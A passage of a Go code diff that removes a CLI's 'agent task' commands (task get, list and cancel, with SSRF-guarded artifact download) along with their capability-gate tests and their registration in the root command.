-// preflight, and fetches the artifact descriptor. Tests swap it to return
-// inline bytes without a Factory / network.
-var resolveDownload = func(opts *taskOptions) (*iagent.ArtifactData, error) {
-	_, spec, agentID, id, err := resolveSpec(opts.Factory, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return nil, err
-	}
-	// Capability gate before any network: a spec that does not wire
-	// DownloadArtifact (card artifact_download=false) returns unsupported_capability.
-	if spec.DownloadArtifact == nil {
-		return nil, capabilityError(opts.Ref, "artifact download", iagent.CapArtifactDownload)
-	}
-	rt, err := runtimeFor(opts.Factory, id, agentID)
-	if err != nil {
-		return nil, err
-	}
-	if err := preflightScopesForRef(opts.Factory, id, opts.Ref); err != nil {
-		return nil, err
-	}
-	return spec.DownloadArtifact(opts.Cmd.Context(), rt, opts.TaskID, opts.ArtifactID)
-}
-
-// artifactFetch is the URL-download seam: it SSRF-validates rawURL and fetches
-// its bytes with a download-hardened client. Tests swap it to serve a loopback
-// httptest server (which the production SSRF guard would otherwise block).
-var artifactFetch = fetchArtifactURL
-
-// hardenDownloadClient is the download-client-build seam inside fetchArtifactURL.
-// Production wraps the base client with the SSRF-hardened redirect/dial rules;
-// tests swap it to pass the (interceptable) base client through unchanged so the
-// request/status/read/limit logic can run against an httpmock transport that the
-// hardened client's transport clone would otherwise discard.
-var hardenDownloadClient = func(base *http.Client) *http.Client {
-	return validate.NewDownloadHTTPClient(base, validate.DownloadHTTPClientOptions{})
-}
-
-// NewCmdAgentTask builds the `agent task` command group: query, list and cancel
-// tasks on a remote agent. It is a pure group with no RunE so an unknown
-// subcommand is reported rather than silently swallowed.
-func NewCmdAgentTask(f *cmdutil.Factory) *cobra.Command {
-	cmd := &cobra.Command{
-		Use:   "task",
-		Short: "Query / list / cancel a remote agent's tasks",
-		Long:  "task get <agent_ref> <task-id> queries a single task (with --watch polling and --artifact download); task list <agent_ref> lists tasks; task cancel <agent_ref> <task-id> cancels (capability-gated).",
-	}
-	cmd.AddCommand(NewCmdAgentTaskGet(f))
-	cmd.AddCommand(NewCmdAgentTaskList(f))
-	cmd.AddCommand(NewCmdAgentTaskCancel(f))
-	return cmd
-}
-
-// NewCmdAgentTaskGet builds `agent task get <ref> <task-id>`: fetch a single
-// task's state and artifacts. `--watch` polls until the task reaches a stop
-// condition and the terminal state drives the semantic exit code;
-// `--timeout` bounds that poll (0 = unbounded, blocking to a stop condition —
-// the backward-compatible default). `--artifact <id>` downloads that artifact
-// to `-o` instead of printing the task: a URL-type artifact is SSRF-validated
-// and fetched, an inline-bytes artifact is written straight to disk.
-// Risk=read.
-func NewCmdAgentTaskGet(f *cmdutil.Factory) *cobra.Command {
-	opts := &taskOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "get <agent_ref> <task-id>",
-		Short: "Query a single task's state and artifacts",
-		Long:  "Query the state and artifacts of task-id under the agent addressed by agent_ref. --watch polls until a stop condition and then prints the final state; --timeout bounds the watch (0 = unbounded, blocking to a terminal state). --artifact <id> with -o downloads that artifact to a local file.",
-		Args:  exactArgsWithUsage(2),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			opts.TaskID = args[1]
-			return agentTaskGetRun(opts)
-		},
-	}
-	cmd.Flags().BoolVar(&opts.Watch, "watch", false, "轮询任务直到进入停轮询条件（终态 / 需补输入 / 需补鉴权）再打印最终状态")
-	cmd.Flags().DurationVar(&opts.Timeout, "timeout", 0, "--watch 的最长轮询时长，如 30s；0=无界（阻塞到终态）；到点未终止则返回当前状态+续 watch 命令")
-	cmd.Flags().StringVar(&opts.ArtifactID, "artifact", "", "下载指定产物 id（须配合 -o 指定落盘路径），不打印任务详情")
-	cmd.Flags().StringVarP(&opts.Output, "output", "o", "", "产物落盘路径（仅 --artifact 时使用）")
-	cmd.Flags().BoolVar(&opts.Force, "force", false, "允许覆盖已存在的 -o 目标文件（默认拒绝覆盖，防止误毁本地文件）")
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// NewCmdAgentTaskList builds `agent task list <ref>`: enumerate the agent's
-// tasks, optionally filtered by `--context-id`, into {tasks:[...]} with a
-// meta.count. Risk=read.
-func NewCmdAgentTaskList(f *cmdutil.Factory) *cobra.Command {
-	opts := &taskOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "list <agent_ref>",
-		Short: "List a remote agent's tasks",
-		Long:  "List the tasks of the agent addressed by agent_ref; --context-id filters by multi-turn context.",
-		Args:  exactArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			return agentTaskListRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "按多轮上下文 id 过滤任务")
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// NewCmdAgentTaskCancel builds `agent task cancel <ref> <task-id>`: cancel
-// (interrupt) a task. Cancel is capability-gated on the Card's task_cancel: for
-// an agent that does not support it (task_cancel=false, e.g. example:echo) the
-// command returns unsupported_capability without contacting the API.
-// Risk=write.
-func NewCmdAgentTaskCancel(f *cmdutil.Factory) *cobra.Command {
-	opts := &taskOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "cancel <agent_ref> <task-id>",
-		Short: "Cancel (interrupt) a remote agent's task",
-		Long:  "Cancel task-id under the agent addressed by agent_ref. If the agent does not support cancel (card task_cancel=false), it returns unsupported_capability without sending a request.",
-		Args:  exactArgsWithUsage(2),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			opts.TaskID = args[1]
-			return agentTaskCancelRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
-	return cmd
-}
-
-// addAsFlag registers the identity flag: the real API-identity flag when a
-// Factory is present, or a bare --as for construction-time unit tests (f nil).
-func addAsFlag(cmd *cobra.Command, f *cmdutil.Factory, as *string) {
-	if f != nil {
-		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, as)
-		return
-	}
-	cmd.Flags().StringVar(as, "as", "", "identity type: user | bot")
-}
-
-// agentTaskGetRun runs `task get`. The `--artifact` client-side guard (requires
-// -o) runs first so it never touches the network and holds under a nil Factory.
-// With `--artifact` it downloads the named artifact to -o; otherwise it
-// fetches the task, optionally polling it to a stop condition under --watch, and
-// emits the task with the terminal state driving the semantic exit code.
-func agentTaskGetRun(opts *taskOptions) error {
-	if opts.ArtifactID != "" {
-		if opts.Output == "" {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument,
-				"--artifact 需配合 -o/--output 指定落盘路径").
-				WithParam("--output").
-				WithHint("补充 -o <落盘路径> 后重发")
-		}
-		return downloadArtifact(opts)
-	}
-
-	// --timeout only bounds the --watch poll; without --watch it is meaningless.
-	// Guard it client-side (mirrors the send --task-id/--context-id combo check)
-	// so it never touches the network and holds under a nil Factory.
-	if opts.Timeout > 0 && !opts.Watch {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"--timeout 需与 --watch 一起使用").
-			WithParam("--timeout").
-			WithHint("--timeout 需与 --watch 一起使用")
-	}
-
-	f := opts.Factory
-	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	rt, err := runtimeFor(f, id, agentID)
-	if err != nil {
-		return err
-	}
-	// Local scope preflight: after runtimeFor, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-
-	ctx := opts.Cmd.Context()
-	task, err := spec.GetTask(ctx, rt, opts.TaskID)
-	if err != nil {
-		return err
-	}
-	// A provider that decodes an empty "data" via Call[*AgentTask] legitimately
-	// returns (nil, nil) (see internal/agent decodeData). Surface that as a typed
-	// error rather than dereferencing task.State below (the --watch branch would
-	// otherwise panic; the sibling consumers all nil-guard).
-	if task == nil {
-		return errs.NewInternalError(errs.SubtypeInvalidResponse,
-			"provider 未返回任务数据（响应无 data）")
-	}
-
-	if opts.Watch && !task.State.ShouldStopPolling() {
-		// A positive --timeout bounds the poll: pollToStop returns the most recent
-		// task with a nil error when the deadline fires (a timeout is an
-		// observation-window close, not a failure), so a long task degrades to
-		// "current state + a fresh watch hint" instead of blocking forever. 0 =
-		// unbounded (the backward-compatible default). pollToStop is unchanged.
-		pollCtx := ctx
-		if opts.Timeout > 0 {
-			var cancel context.CancelFunc
-			pollCtx, cancel = context.WithTimeout(ctx, opts.Timeout)
-			defer cancel()
-		}
-		final, perr := pollToStop(pollCtx, func(c context.Context, tid string) (*iagent.AgentTask, error) {
-			return spec.GetTask(c, rt, tid)
-		}, opts.TaskID)
-		if perr != nil {
-			return perr
-		}
-		if final != nil {
-			task = final
-		}
-	}
-
-	// Derive IsTerminal from State (single source of truth) before any consumer
-	// — emitTask's output and semanticExitError below both read the flag.
-	normalizeTask(task)
-	if err := emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format); err != nil {
-		return err
-	}
-	// Under --watch a non-successful terminal state signals exit 1; a
-	// plain get (or a non-terminal stop) is exit 0.
-	if opts.Watch {
-		return semanticExitError(task)
-	}
-	return nil
-}
-
-// agentTaskListRun runs `task list`: resolves the provider, lists tasks
-// (optionally filtered by --context-id), sorts them newest-first by UpdatedAt,
-// and emits {tasks:[...]} with meta.count through content-safety scanning (the
-// summaries carry untrusted agent text).
-func agentTaskListRun(opts *taskOptions) error {
-	f := opts.Factory
-	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Capability gate BEFORE building the client: a spec that does not wire
-	// ListTasks (card task_list=false) returns unsupported_capability offline.
-	if spec.ListTasks == nil {
-		return capabilityError(opts.Ref, "task list", iagent.CapTaskList)
-	}
-	rt, err := runtimeFor(f, id, agentID)
-	if err != nil {
-		return err
-	}
-	// Local scope preflight: after runtimeFor, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	tasks, err := spec.ListTasks(opts.Cmd.Context(), rt, opts.ContextID)
-	if err != nil {
-		return err
-	}
-	tasks = normalizeTaskSummaries(tasks)
-	// Newest-first: sort by UpdatedAt (RFC3339 UTC) descending so the most
-	// recently active task heads the list; a stable sort preserves the provider's
-	// relative order for equal timestamps, and tasks with no timestamp sort last.
-	sort.SliceStable(tasks, func(i, j int) bool { return tasks[i].UpdatedAt > tasks[j].UpdatedAt })
-	if tasks == nil {
-		tasks = []iagent.TaskSummary{} // always emit [] not null (matches the Card.Parameters array convention)
-	}
-	return scanAndEmitData(f, opts.Cmd, opts.Format,
-		map[string]interface{}{"tasks": tasks},
-		&output.Meta{Count: len(tasks)},
-		func(w io.Writer) { printTaskSummariesTSV(w, tasks) })
-}
-
-// agentTaskCancelRun runs `task cancel`. Cancel is capability-gated offline
-// (right after resolveSpec, before the client is built): a spec that does not
-// wire CancelTask (card task_cancel=false, e.g. example:echo) returns
-// unsupported_capability without any API access. Only a supporting spec reaches
-// runtimeFor + CancelTask.
-func agentTaskCancelRun(opts *taskOptions) error {
-	f := opts.Factory
-	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	if spec.CancelTask == nil {
-		return capabilityError(opts.Ref, "task cancel", iagent.CapTaskCancel)
-	}
-	rt, err := runtimeFor(f, id, agentID)
-	if err != nil {
-		return err
-	}
-	// Local scope preflight: after runtimeFor, before the API call. A
-	// task_cancel=false agent never reaches here (gated above); it is wired so a
-	// provider that supports cancel is not silently exempt from the all-or-nothing
-	// scope check.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	if err := spec.CancelTask(opts.Cmd.Context(), rt, opts.TaskID); err != nil {
-		return err
-	}
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		fmt.Fprintf(f.IOStreams.Out, "task_id: %s\ncanceled: true\n", kvValue(opts.TaskID))
-		return nil
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(id),
-		Data:     map[string]interface{}{"task_id": opts.TaskID, "canceled": true},
-		Notice:   output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// downloadArtifact resolves the artifact descriptor and writes it to opts.Output
-// under vfs. A URL-type artifact is SSRF-validated and fetched over a
-// download-hardened client; an inline-bytes artifact is written directly. The
-// output path is validated with SafeOutputPath (relative, within the CWD)
-// before any write.
-func downloadArtifact(opts *taskOptions) error {
-	safePath, err := validate.SafeOutputPath(opts.Output)
-	if err != nil {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的 -o 路径: %v", err).
-			WithParam("--output").WithCause(err)
-	}
-
-	// Overwriting a local file destroys its content irreversibly — a high-risk
-	// write. It goes through the same confirmation contract as other --force
-	// gates (config bind): without --force, a would-be overwrite returns
-	// confirmation_required (exit 10) before any download. Lstat (not Stat) so a
-	// symlink at the path counts as existing rather than being followed.
-	if !opts.Force {
-		if _, statErr := vfs.Lstat(safePath); statErr == nil {
-			return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent task get --artifact -o",
-				"目标文件已存在，覆盖会不可逆地毁掉本地内容: %s", safePath).
-				WithHint("确认要覆盖后加 --force 重跑，或换一个 -o 路径")
-		}
-	}
-
-	ctx := opts.Cmd.Context()
-	art, err := resolveDownload(opts)
-	if err != nil {
-		return err
-	}
-	// A provider decoding an empty "data" via Call[*ArtifactData] can return
-	// (nil, nil); and a non-nil descriptor with neither inline bytes nor a URL
-	// carries no downloadable content. Both are provider-response defects — fail
-	// with a typed error instead of dereferencing nil or writing a 0-byte file
-	// (which under --force would clobber an existing local file with emptiness).
-	if art == nil {
-		return errs.NewInternalError(errs.SubtypeInvalidResponse,
-			"provider 未返回产物数据（响应无 data）")
-	}
-	if len(art.Bytes) == 0 && art.URL == "" {
-		return errs.NewInternalError(errs.SubtypeInvalidResponse,
-			"产物 '%s' 无可下载内容（provider 既未提供内联字节也未提供下载 URL）", opts.ArtifactID)
-	}
-
-	data := art.Bytes
-	if art.URL != "" {
-		data, err = artifactFetch(ctx, opts.Factory, art.URL)
-		if err != nil {
-			return err
-		}
-	}
-
-	if err := vfs.WriteFile(safePath, data, 0o600); err != nil {
-		return errs.NewInternalError(errs.SubtypeFileIO, "写产物到 %s 失败: %v", safePath, err).WithCause(err)
-	}
-
-	f := opts.Factory
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		out := f.IOStreams.Out
-		fmt.Fprintf(out, "artifact_id: %s\n", kvValue(opts.ArtifactID))
-		fmt.Fprintf(out, "path: %s\n", safePath)
-		fmt.Fprintf(out, "bytes: %d\n", len(data))
-		if art.Mime != "" {
-			fmt.Fprintf(out, "mime: %s\n", kvValue(art.Mime))
-		}
-		// suggested_name is the server-suggested name, for reference only; the
-		// actual on-disk path is already the safePath (-o) above.
-		if art.Name != "" {
-			fmt.Fprintf(out, "suggested_name: %s\n", kvValue(art.Name))
-		}
-		return nil
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(f.ResolvedIdentity),
-		Data: map[string]interface{}{
-			"artifact_id":    opts.ArtifactID,
-			"path":           safePath,
-			"bytes":          len(data),
-			"mime":           art.Mime,
-			"suggested_name": art.Name,
-		},
-		Notice: output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// fetchArtifactURL is the production URL fetch: it SSRF-validates rawURL, builds
-// a download-hardened HTTP client from the Factory and reads the body up to
-// maxArtifactBytes, refusing anything larger. The artifact host is untrusted
-// external content, so both the URL and the redirect chain are guarded.
-func fetchArtifactURL(ctx context.Context, f *cmdutil.Factory, rawURL string) ([]byte, error) {
-	if err := validate.ValidateDownloadSourceURL(ctx, rawURL); err != nil {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "被拦截的产物 URL: %v", err).
-			WithCause(err)
-	}
-	// Artifact bytes come from an untrusted host over the network; require https
-	// so the payload cannot be read or tampered with in transit. The SSRF check
-	// above already rejects private/loopback hosts and non-http(s) schemes, so a
-	// surviving non-https URL is plain-text http.
-	if !strings.HasPrefix(strings.ToLower(rawURL), "https://") {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "产物 URL 必须为 https（拒绝明文下载）")
-	}
-	base, err := f.HttpClient()
-	if err != nil {
-		return nil, errs.NewInternalError(errs.SubtypeSDKError, "构造 http client 失败: %v", err).WithCause(err)
-	}
-	client := hardenDownloadClient(base)
-
-	req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
-	if err != nil {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的产物 URL: %v", err).WithCause(err)
-	}
-	resp, err := client.Do(req)
-	if err != nil {
-		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "下载产物失败: %v", err).WithCause(err)
-	}
-	defer resp.Body.Close()
-	if resp.StatusCode != http.StatusOK {
-		return nil, errs.NewNetworkError(errs.SubtypeNetworkServer, "下载产物失败: HTTP %d", resp.StatusCode)
-	}
-	// Read ONE byte past the cap so an oversized body is detected rather than
-	// silently truncated: io.LimitReader returns EOF (not an error) at the cap, so
-	// reading exactly maxArtifactBytes cannot distinguish "fits" from "overflowed".
-	// A body over the cap is refused with a typed error instead of writing a
-	// corrupt, partial file that would otherwise report success.
-	data, err := io.ReadAll(io.LimitReader(resp.Body, maxArtifactBytes+1))
-	if err != nil {
-		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "读取产物响应失败: %v", err).WithCause(err)
-	}
-	if int64(len(data)) > maxArtifactBytes {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"产物超过大小上限 %d 字节，拒绝下载（避免写入被截断的残缺文件）", int64(maxArtifactBytes))
-	}
-	return data, nil
-}

cmd/agent/unsupported_test.go

@@ -1,202 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-	"strings"
-	"sync"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// fakeUnsupSpec is a stub instance spec driving the command-layer
-// capability-gate wirings without any HTTP: ListContexts / DeleteContext are
-// left UNWIRED (nil), so the command layer's nil-gate must return the typed
-// unsupported_capability before any network access. GetTask is wired to return a
-// task whose IsTerminal deliberately mismatches its State (normalizeTask must
-// re-derive it). Send is wired (core, required by Register) but never called
-// here. There is no capability-refusal code in the spec — "unsupported" is
-// expressed purely by the absent hooks.
-func fakeUnsupSpec() *iagent.AgentSpec {
-	return &iagent.AgentSpec{
-		Send: func(context.Context, iagent.Runtime, iagent.SendInput) (*iagent.AgentTask, error) {
-			panic("unsup provider: Send should not be called")
-		},
-		GetTask: func(_ context.Context, _ iagent.Runtime, taskID string) (*iagent.AgentTask, error) {
-			// Deliberate mismatch: State is terminal but IsTerminal=false.
-			return &iagent.AgentTask{TaskID: taskID, State: iagent.StateCompleted, IsTerminal: false}, nil
-		},
-		// ListContexts / DeleteContext intentionally unwired ⇒ unsupported.
-	}
-}
-
-// registerFakeUnsup registers the fakeunsup scheme exactly once (Register
-// panics on duplicates). Like the other fakes it leaks into the package-level
-// registry for the remaining tests of this package run.
-var registerFakeUnsupOnce sync.Once
-
-func registerFakeUnsup() {
-	registerFakeUnsupOnce.Do(func() {
-		iagent.Register(iagent.Provider{
-			Scheme:        "fakeunsup",
-			Label:         "test fake (unwired optional capabilities)",
-			AgentIDSource: "test only",
-			Identities:    []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
-			Instance:      fakeUnsupSpec(),
-		})
-	})
-}
-
-// assertUnsupportedCapability pins the full capability-gate contract on err:
-// validation typed, subtype unsupported_capability, exit 2, hint pointing at
-// `agent card <ref>`, and — because the Factory's httpmock registry has zero
-// stubs — no HTTP was issued (any network attempt would have surfaced as an
-// "httpmock: no stub" error instead of the typed one).
-func assertUnsupportedCapability(t *testing.T, err error, ref string) {
-	t.Helper()
-	if err == nil {
-		t.Fatal("an unsupported capability should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T (%v)", err, err)
-	}
-	if code := output.ExitCodeOf(err); code != output.ExitValidation {
-		t.Fatalf("exit code should be %d, got %d", output.ExitValidation, code)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeUnsupportedCapability {
-		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
-	}
-	if !strings.Contains(p.Hint, "agent card "+ref) {
-		t.Errorf("hint should point to agent card %s, got %q", ref, p.Hint)
-	}
-	if strings.Contains(err.Error(), "httpmock") {
-		t.Errorf("should not issue any HTTP request, but the error contains httpmock traces: %v", err)
-	}
-}
-
-// TestContextListUnsupportedGated pins the capability gate on `context list`: a
-// provider that does not wire ListContexts returns typed unsupported_capability
-// (exit 2) with the agent-card hint, without any HTTP.
-func TestContextListUnsupportedGated(t *testing.T) {
-	registerFakeUnsup()
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	opts := &contextOptions{
-		Factory: f, Cmd: contextCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json",
-	}
-	assertUnsupportedCapability(t, agentContextListRun(opts), "fakeunsup:a1")
-}
-
-// TestContextDeleteUnsupportedGated pins the same gate on the confirmed
-// `context delete` path (--yes passes, provider does not wire DeleteContext).
-func TestContextDeleteUnsupportedGated(t *testing.T) {
-	registerFakeUnsup()
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	opts := &contextOptions{
-		Factory: f, Cmd: contextCmdCtx(t, "delete"), Ref: "fakeunsup:a1", CtxID: "c1", Yes: true, As: "bot", Format: "json",
-	}
-	assertUnsupportedCapability(t, agentContextDeleteRun(opts), "fakeunsup:a1")
-}
-
-// unsupFactory is a small helper for the capability-gate tests.
-func unsupFactory(t *testing.T) *cmdutil.Factory {
-	t.Helper()
-	registerFakeUnsup()
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	return f
-}
-
-// TestTaskListUnsupportedGated pins the task_list gate: fakeunsup does not wire
-// ListTasks, so `task list` returns unsupported_capability (exit 2) with no HTTP.
-func TestTaskListUnsupportedGated(t *testing.T) {
-	f := unsupFactory(t)
-	opts := &taskOptions{Factory: f, Cmd: taskCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json"}
-	assertUnsupportedCapability(t, agentTaskListRun(opts), "fakeunsup:a1")
-}
-
-// TestContextGetUnsupportedGated pins the context_get gate (GetContext unwired).
-func TestContextGetUnsupportedGated(t *testing.T) {
-	f := unsupFactory(t)
-	opts := &contextOptions{Factory: f, Cmd: contextCmdCtx(t, "get"), Ref: "fakeunsup:a1", CtxID: "c1", As: "bot", Format: "json"}
-	assertUnsupportedCapability(t, agentContextGetRun(opts), "fakeunsup:a1")
-}
-
-// TestArtifactDownloadUnsupportedGated pins the artifact_download gate: fakeunsup
-// does not wire DownloadArtifact, so `task get --artifact` returns
-// unsupported_capability (exit 2) before any download.
-func TestArtifactDownloadUnsupportedGated(t *testing.T) {
-	f := unsupFactory(t)
-	opts := &taskOptions{
-		Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1",
-		ArtifactID: "art_1", Output: "out_unsup.bin", As: "bot", Format: "json",
-	}
-	assertUnsupportedCapability(t, agentTaskGetRun(opts), "fakeunsup:a1")
-}
-
-// TestSendFileUnsupportedGated pins the --file capability gate: example:echo
-// declares file_input=false, so `send --file` returns unsupported_capability
-// (exit 2) — this gate answers BEFORE the --yes confirmation and before any
-// network, so no file is opened and no request is issued.
-func TestSendFileUnsupportedGated(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo", Text: "hi",
-		Files: []string{"whatever.txt"}, As: "bot", Format: "json",
-	})
-	assertUnsupportedCapability(t, err, "example:echo")
-}
-
-// TestTaskGetDerivesIsTerminalFromState pins the normalizeTask wiring: a
-// provider returning a State/IsTerminal-mismatched task (completed +
-// is_terminal=false) must emit is_terminal=true — the command layer derives
-// the flag from State, the single source of truth.
-func TestTaskGetDerivesIsTerminalFromState(t *testing.T) {
-	registerFakeUnsup()
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	opts := &taskOptions{
-		Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1", As: "bot", Format: "json",
-	}
-	out := f.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentTaskGetRun(opts); err != nil {
-		t.Fatalf("task get should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	if data["state"] != "completed" {
-		t.Fatalf("data.state should be completed, got %v", data["state"])
-	}
-	if data["is_terminal"] != true {
-		t.Errorf("is_terminal should be derived from State as true (correcting a provider that set false), got %v", data["is_terminal"])
-	}
-}
-
-// TestNormalizeTaskSummaries_DerivesFromState pins the summary-side derivation
-// (task list runs its summaries through this helper; context get derives the
-// single active_task's flag inline the same way).
-func TestNormalizeTaskSummaries_DerivesFromState(t *testing.T) {
-	ts := normalizeTaskSummaries([]iagent.TaskSummary{
-		{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: false}, // missing
-		{TaskID: "t2", State: iagent.StateWorking, IsTerminal: true},    // wrong
-	})
-	if !ts[0].IsTerminal {
-		t.Error("completed summary should derive is_terminal=true")
-	}
-	if ts[1].IsTerminal {
-		t.Error("working summary should derive is_terminal=false")
-	}
-	if normalizeTask(nil) != nil {
-		t.Error("normalizeTask(nil) should be nil-safe")
-	}
-}

cmd/build.go

@@ -8,8 +8,6 @@ import (
 	"io"
 	"io/fs"
 
-	_ "github.com/larksuite/cli/agent"
-	"github.com/larksuite/cli/cmd/agent"
 	"github.com/larksuite/cli/cmd/api"
 	"github.com/larksuite/cli/cmd/auth"
 	"github.com/larksuite/cli/cmd/completion"
@@ -204,7 +202,6 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
 	rootCmd.AddCommand(cmdupdate.NewCmdUpdate(f))
 	rootCmd.AddCommand(cmdevent.NewCmdEvents(f))
 	rootCmd.AddCommand(skill.NewCmdSkill(f))
-	rootCmd.AddCommand(agent.NewCmdAgent(f))
 	if !cfg.skipService {
 		if cfg.serviceCatalog != nil {
 			service.RegisterServiceCommandsFromCatalog(ctx, rootCmd, f, *cfg.serviceCatalog)

cmd/root.go

@@ -565,7 +565,7 @@ func groupRootCommands(root *cobra.Command) {
 		&cobra.Group{ID: groupTooling, Title: "Agent tooling:"},
 		&cobra.Group{ID: groupManagement, Title: "CLI management:"},
 	)
-	tooling := map[string]bool{"api": true, "schema": true, "skills": true, "agent": true}
+	tooling := map[string]bool{"api": true, "schema": true, "skills": true}
 	management := map[string]bool{"auth": true, "config": true, "profile": true, "doctor": true, "update": true}
 	for _, c := range root.Commands() {
 		if c.GroupID != "" {

errs/subtypes.go

@@ -12,9 +12,8 @@ const (
 
 // CategoryValidation subtypes
 const (
-	SubtypeInvalidArgument       Subtype = "invalid_argument"       // user-supplied flag / arg failed validation (gRPC INVALID_ARGUMENT alignment)
-	SubtypeFailedPrecondition    Subtype = "failed_precondition"    // request is valid but the system/resource state is not in the state required to execute; caller must change state (not retry) — e.g. ambiguous remote mapping (gRPC FAILED_PRECONDITION alignment)
-	SubtypeUnsupportedCapability Subtype = "unsupported_capability" // the addressed provider/agent does not support the requested capability (capability gating on the agent card); exit 2, no request is sent
+	SubtypeInvalidArgument    Subtype = "invalid_argument"    // user-supplied flag / arg failed validation (gRPC INVALID_ARGUMENT alignment)
